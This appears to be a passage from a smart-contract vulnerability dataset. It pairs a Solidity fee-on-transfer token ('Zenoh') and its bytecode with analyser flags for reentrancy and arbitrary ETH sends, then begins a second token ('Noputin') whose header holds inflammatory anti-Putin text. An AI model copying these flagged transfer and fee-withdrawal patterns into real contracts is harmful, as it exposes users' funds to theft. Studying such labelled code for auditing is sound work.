function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Zenoh is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Zenoh | t.me/ zenoh_omniking";
string private constant _symbol = unicode"Zenoh";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 1000000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610385578063c3c8cd80146103a5578063c9567bf9146103ba578063db92dbb6146103cf578063dd62ed3e146103e4578063e8078d941461042a57600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610346578063a985ceef1461036657600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601c81527f5a656e6f68207c20742e6d652f207a656e6f685f6f6d6e696b696e670000000060208201525b6040516101949190611ba7565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611afa565b61043f565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611ab9565b610456565b34801561021f57600080fd5b506101e56104bf565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611b60565b6104cf565b005b34801561027257600080fd5b50610264610281366004611b26565b610578565b34801561029257600080fd5b506101e56102a1366004611a46565b6105f7565b3480156102b257600080fd5b5061026461061a565b3480156102c757600080fd5b506101e56102d6366004611a46565b610647565b3480156102e757600080fd5b50610264610669565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b506040805180820190915260058152640b4cadcded60db1b6020820152610187565b34801561035257600080fd5b506101bd610361366004611afa565b6106dd565b34801561037257600080fd5b50601454600160a81b900460ff166101bd565b34801561039157600080fd5b506101e56103a0366004611a46565b6106ea565b3480156103b157600080fd5b50610264610710565b3480156103c657600080fd5b50610264610746565b3480156103db57600080fd5b506101e5610793565b3480156103f057600080fd5b506101e56103ff366004611a80565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043657600080fd5b506102646107ab565b600061044c338484610b5e565b5060015b92915050565b6000610463848484610c82565b6104b584336104b085604051806060016040528060288152602001611d99602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061122f565b610b5e565b5060019392505050565b60006104ca30610647565b905090565b6011546001600160a01b0316336001600160a01b0316146104ef57600080fd5b6033811061053c5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a25760405162461bcd60e51b815260040161053390611bfc565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161056d565b6001600160a01b0381166000908152600660205260408120546104509042611ced565b6011546001600160a01b0316336001600160a01b03161461063a57600080fd5b4761064481611269565b50565b6001600160a01b038116600090815260026020526040812054610450906112a3565b6000546001600160a01b031633146106935760405162461bcd60e51b815260040161053390611bfc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044c338484610c82565b6001600160a01b0381166000908152600660205260408120600101546104509042611ced565b6011546001600160a01b0316336001600160a01b03161461073057600080fd5b600061073b30610647565b905061064481611327565b6000546001600160a01b031633146107705760405162461bcd60e51b815260040161053390611bfc565b6014805460ff60a01b1916600160a01b17905561078e426078611ca2565b601555565b6014546000906104ca906001600160a01b0316610647565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161053390611bfc565b601454600160a01b900460ff161561082f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610533565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086c3082683635c9adc5dea00000610b5e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a557600080fd5b505afa1580156108b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dd9190611a63565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092557600080fd5b505afa158015610939573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095d9190611a63565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a557600080fd5b505af11580156109b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109dd9190611a63565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0d81610647565b600080610a226000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8557600080fd5b505af1158015610a99573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610abe9190611b79565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2257600080fd5b505af1158015610b36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5a9190611b43565b5050565b6001600160a01b038316610bc05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610533565b6001600160a01b038216610c215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610533565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610533565b6001600160a01b038216610d485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610533565b60008111610daa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610533565b6000546001600160a01b03848116911614801590610dd657506000546001600160a01b03838116911614155b156111d257601454600160a81b900460ff1615610e56573360009081526006602052604090206002015460ff16610e5657604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8157506013546001600160a01b03838116911614155b8015610ea657506001600160a01b03821660009081526005602052604090205460ff16155b1561100a57601454600160a01b900460ff16610f045760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610533565b60066009556004600a55601454600160a81b900460ff1615610fd057426015541115610fd057601054811115610f3957600080fd5b6001600160a01b0382166000908152600660205260409020544211610fab5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610533565b610fb642602d611ca2565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100a57610fed42600f611ca2565b6001600160a01b0383166000908152600660205260409020600101555b600061101530610647565b601454909150600160b01b900460ff1615801561104057506014546001600160a01b03858116911614155b80156110555750601454600160a01b900460ff165b156111d057601454600160a81b900460ff16156110e2576001600160a01b03841660009081526006602052604090206001015442116110e25760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610533565b601454600160b81b900460ff161561114757600061110b600c54846114b090919063ffffffff16565b60145490915061113a9061113390859061112d906001600160a01b0316610647565b9061152f565b829061158e565b9050611145816115d0565b505b80156111b457600b5460145461117d916064916111779190611171906001600160a01b0316610647565b906114b0565b9061158e565b8111156111ab57600b546014546111a8916064916111779190611171906001600160a01b0316610647565b90505b6111b481611327565b47670de0b6b3a76400008111156111ce576111ce47611269565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061121457506001600160a01b03831660009081526005602052604090205460ff165b1561121d575060005b6112298484848461163e565b50505050565b600081848411156112535760405162461bcd60e51b81526004016105339190611ba7565b5060006112608486611ced565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b5a573d6000803e3d6000fd5b600060075482111561130a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610533565b600061131461166c565b9050611320838261158e565b9392505050565b6014805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136f5761136f611d5f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c357600080fd5b505afa1580156113d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fb9190611a63565b8160018151811061140e5761140e611d5f565b6001600160a01b0392831660209182029290920101526013546114349130911684610b5e565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061146d908590600090869030904290600401611c31565b600060405180830381600087803b15801561148757600080fd5b505af115801561149b573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b6000826114bf57506000610450565b60006114cb8385611cce565b9050826114d88583611cba565b146113205760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610533565b60008061153c8385611ca2565b9050838110156113205760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610533565b600061132083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168f565b600a808210156115e25750600a6115f6565b60288211156115f3575060286115f6565b50805b6116018160026116bd565b15611614578061161081611d04565b9150505b611624600a6111778360066114b0565b600955611637600a6111778360046114b0565b600a555050565b8061164b5761164b6116ff565b61165684848461172d565b8061122957611229600e54600955600f54600a55565b6000806000611679611824565b9092509050611688828261158e565b9250505090565b600081836116b05760405162461bcd60e51b81526004016105339190611ba7565b5060006112608486611cba565b600061132083836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250611866565b60095415801561170f5750600a54155b1561171657565b60098054600e55600a8054600f5560009182905555565b60008060008060008061173f8761189a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061177190876118f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117a0908661152f565b6001600160a01b0389166000908152600260205260409020556117c281611939565b6117cc8483611983565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161181191815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611840828261158e565b82101561185d57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118875760405162461bcd60e51b81526004016105339190611ba7565b506118928385611d1f565b949350505050565b60008060008060008060008060006118b78a600954600a546119a7565b92509250925060006118c761166c565b905060008060006118da8e8787876119f6565b919e509c509a509598509396509194505050505091939550919395565b600061132083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122f565b600061194361166c565b9050600061195183836114b0565b3060009081526002602052604090205490915061196e908261152f565b30600090815260026020526040902055505050565b60075461199090836118f7565b6007556008546119a0908261152f565b6008555050565b60008080806119bb606461117789896114b0565b905060006119ce60646111778a896114b0565b905060006119e6826119e08b866118f7565b906118f7565b9992985090965090945050505050565b6000808080611a0588866114b0565b90506000611a1388876114b0565b90506000611a2188886114b0565b90506000611a33826119e086866118f7565b939b939a50919850919650505050505050565b600060208284031215611a5857600080fd5b813561132081611d75565b600060208284031215611a7557600080fd5b815161132081611d75565b60008060408385031215611a9357600080fd5b8235611a9e81611d75565b91506020830135611aae81611d75565b809150509250929050565b600080600060608486031215611ace57600080fd5b8335611ad981611d75565b92506020840135611ae981611d75565b929592945050506040919091013590565b60008060408385031215611b0d57600080fd5b8235611b1881611d75565b946020939093013593505050565b600060208284031215611b3857600080fd5b813561132081611d8a565b600060208284031215611b5557600080fd5b815161132081611d8a565b600060208284031215611b7257600080fd5b5035919050565b600080600060608486031215611b8e57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611bd457858101830151858201604001528201611bb8565b81811115611be6576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c815784516001600160a01b031683529383019391830191600101611c5c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cb557611cb5611d33565b500190565b600082611cc957611cc9611d49565b500490565b6000816000190483118215151615611ce857611ce8611d33565b500290565b600082821015611cff57611cff611d33565b500390565b6000600019821415611d1857611d18611d33565b5060010190565b600082611d2e57611d2e611d49565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461064457600080fd5b801515811461064457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fac8a30c52b23228c3adcf68060f3d80fdc462b0678519d8957041469fca83fc64736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 356 |
0x3be9916b0b3e582a08937404366c8d19c257963c | /**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
/*The world need no Putin. Totalitarian countries shouldn’t exist in the world in the first place and they are consuming our resources. They should disappear before we initiate the war. If you hate Putin as much as we do, join us. NOPUTIN token means more hatred to Putin.
Initial LP: 2ETH
Total Supply: 10,000,000,000
Max Buy: 2%
Tax 3% for donation to anti putin organization.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract Noputin is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 3;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "no putin";
string private constant _symbol = "Noputin";
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
